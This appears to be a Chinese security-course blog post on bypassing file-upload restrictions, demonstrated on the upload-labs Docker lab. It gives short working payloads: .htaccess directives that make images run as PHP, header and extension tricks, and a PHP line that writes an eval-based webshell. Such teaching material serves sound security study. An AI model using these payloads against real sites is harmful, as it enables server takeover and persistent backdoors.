当前位置: 首页 > news >正文

Web攻防-文件上传黑白名单MIMEJS前端执行权限编码解析OSS存储分域名应用场景

知识点:
1、WEB攻防-文件上传-前端&黑白名单&MIME&文件头等
2、WEB攻防-文件上传-执行权限&解码还原&云存储&分站等
3、WEB攻防-文件上传-JS提取&特定漏洞&第三方编辑器
4、WEB攻防-文件上传-思维导图形成

在这里插入图片描述

常规文件上传:
1、一定要明白:
文件解析安全问题上,格式解析是一对一的(不能jpg解析php)
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!1、无限制
任意上传,什么文件都能上传2、有限制:
限制后缀格式(判断后缀名(黑白名单),MIME类型,文件头等)应用场景:
1、注册用户上传地方
2、后台或其他管理页面
3、源码泄露或盲测文件
4、JS或API接口的代码
5、第三方编辑器上传漏洞
6、特定的源码审计漏洞

一、演示案例-WEB攻防-文件上传-前端&黑白名单&MIME&文件头等

0、测试环境安装参考

字典:https://github.com/fuzzdb-project/fuzzdb
靶场环境:https://github.com/sqlsec/upload-labs-docker
在这里插入图片描述
docker安装
在这里插入图片描述
下载靶场项目并进入项目文件夹

cd upload-labs-docker

在这里插入图片描述
一键部署运行

docker-compose up -d

在这里插入图片描述
在这里插入图片描述

1、前端JS

如何判断是否是前端验证呢?
首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了
在这里插入图片描述
如何绕过?
先上传一个图片后缀抓包改成脚本后缀

2、.htaccess(apache独有的配置文件)

一般上传用的不多,主要用来留后门
apache中,.htaccess文件可以上传并执行
这个文件定义了哪些格式文件可以以脚本方式解析

方式一:
.htaccess中写入:

<FilesMatch "s.jpg">SetHandler application/x-httpd-php
</FilesMatch>

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件
最好拿到shell之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了

方式二:

AddType application/x-httpd-php .png  

在这里插入图片描述
在这里插入图片描述

.htaccess文件成功上传后,这时候再上传一个png图片的后门,就可以解析成脚本

3、MIME类型

Content-Type:image/png

在这里插入图片描述

4、文件头判断

GIF89a

在这里插入图片描述

5、黑名单-过滤不严

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

无递归(只检测一次,没循环)
pphphp(因为代码中是把匹配到的黑名单替换为空)

在这里插入图片描述

6、黑名单-过滤不严(windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写)

在这里插入图片描述
系统大小写敏感属性
在这里插入图片描述
在这里插入图片描述

7、PHP低版本GET-%00截断

在这里插入图片描述
在这里插入图片描述

自动解码一次
/var/www/html/upload/x.php%00

在这里插入图片描述
在这里插入图片描述

8、PHP低版本POST-%00截断

在这里插入图片描述

手工解码一次
../upload/x.php%00 二次解码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

9、黑名单-过滤不严

php3

在这里插入图片描述
利用fuzz思路去跑后缀
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

10、逻辑不严-条件竞争

在这里插入图片描述
1.上传不断发包
在这里插入图片描述
2.请求不断发包
在这里插入图片描述
3.访问创建脚本代码

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

在这里插入图片描述

11、二次渲染

后端语言会对图片进行二次渲染,让图片更好的呈现出来,但是这样就会造成一个图片里插入的脚本代码丢失的情况,但是需要配合文件包含漏洞,没啥意义。

1.先搞个正常图片,上传图片后导出渲染后的图片
在这里插入图片描述
2.对比保留部分,在保留部分添加后门代码
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3.最后利用提示的文件包含执行图片后门代码
在这里插入图片描述

12、函数缺陷

1.使用move_uploaded_file 函数
2.保存的文件名可控

在这里插入图片描述

1.php/.

在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-文件上传-应用场景-JS提取&源码类&编辑器

1、JS或API接口代码

DEMO

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

真实案例

在这里插入图片描述
在这里插入图片描述

2、第三方编辑器上传漏洞

ueditor漏洞参考:
https://www.cnblogs.com/linglinglingling/p/18040866
https://blog.csdn.net/weixin_58099903/article/details/125810825

DEMO

在这里插入图片描述
在这里插入图片描述

真实案例

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、特定的源码漏洞

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、演示案例-WEB攻防-文件上传-实战遇到的情况-执行权限&解码还原&分站存储&OSS存储

1、执行权限

文件上传后存储目录不给执行权限
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

绕过条件:能控制上传文件存储目录

2、解码还原

文件上传后利用编码传输解码还原
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

绕过:无法直接绕过

3、分站存储

upload.xiaodi8.com 上传

在这里插入图片描述
在这里插入图片描述

images.xiaodi8.com 存储

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

绕过:迂回战术,上传脚本到images.xiaodi8.com并控制这个网站,在从images.xiaodi8.com迂回到upload.xiaodi8.com(也就是类似旁站、C段入侵)

4、OSS对象

Access控制-OSS对象存储-Bucket对象

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

绕过:无法直接绕过

http://www.dtcms.com/a/266153.html

相关文章:

  • 设计模式(九)
  • 魔术方法__call__
  • Redis缓存架构实战
  • Selenium Base全新升级版:新一代自动化框架实战解析
  • Python 的内置函数 range
  • 高边驱动 低边驱动
  • 黑暗中的爆破(船讯网Ais爬虫暨爬虫实战js逆向学习经验分享)
  • 车载以太网-IP 掩码 vlan 端口
  • SciPy 安装使用教程
  • [特殊字符] 电子机械制动(EMB)产业全景分析:从技术演进到千亿市场爆发
  • 高通QCS8550部署YOLO-NAS模型与性能测试
  • 使用excel中的MATCH函数进行匹配数据
  • Python数据库软件:查询与预测功能集成系统
  • Linux常见指令以及权限理解
  • 使用 Flask 构建基于 Dify 的企业资金投向与客户分类评估系统
  • HTTP详细介绍
  • Windows 10 2016 长期服务版
  • 仿小红书交流社区(微服务架构)
  • day 58 python打卡
  • AppInventor2 标签内容过多,如何做到可上下滑动?
  • 【WRFDA教程第一期】运行观测预处理程序(OBSPROC)
  • 数据结构:数组在编译器中的表示(Array Representation by Compiler)
  • oracle锁表,oracle解锁表,oracle用户连接数
  • ArcGISPro应用指南:ArcGISPro制图全流程详解
  • 前端面试专栏-算法篇:17. 排序算法
  • Redis常见性能问题和解决方案有哪些?
  • 《UE5_C++多人TPS完整教程》学习笔记41 ——《P42 蹲伏(Crouching)》
  • Flutter基础(ListView.builder)
  • Pandas 安装使用教程
  • 黑马python(二十四)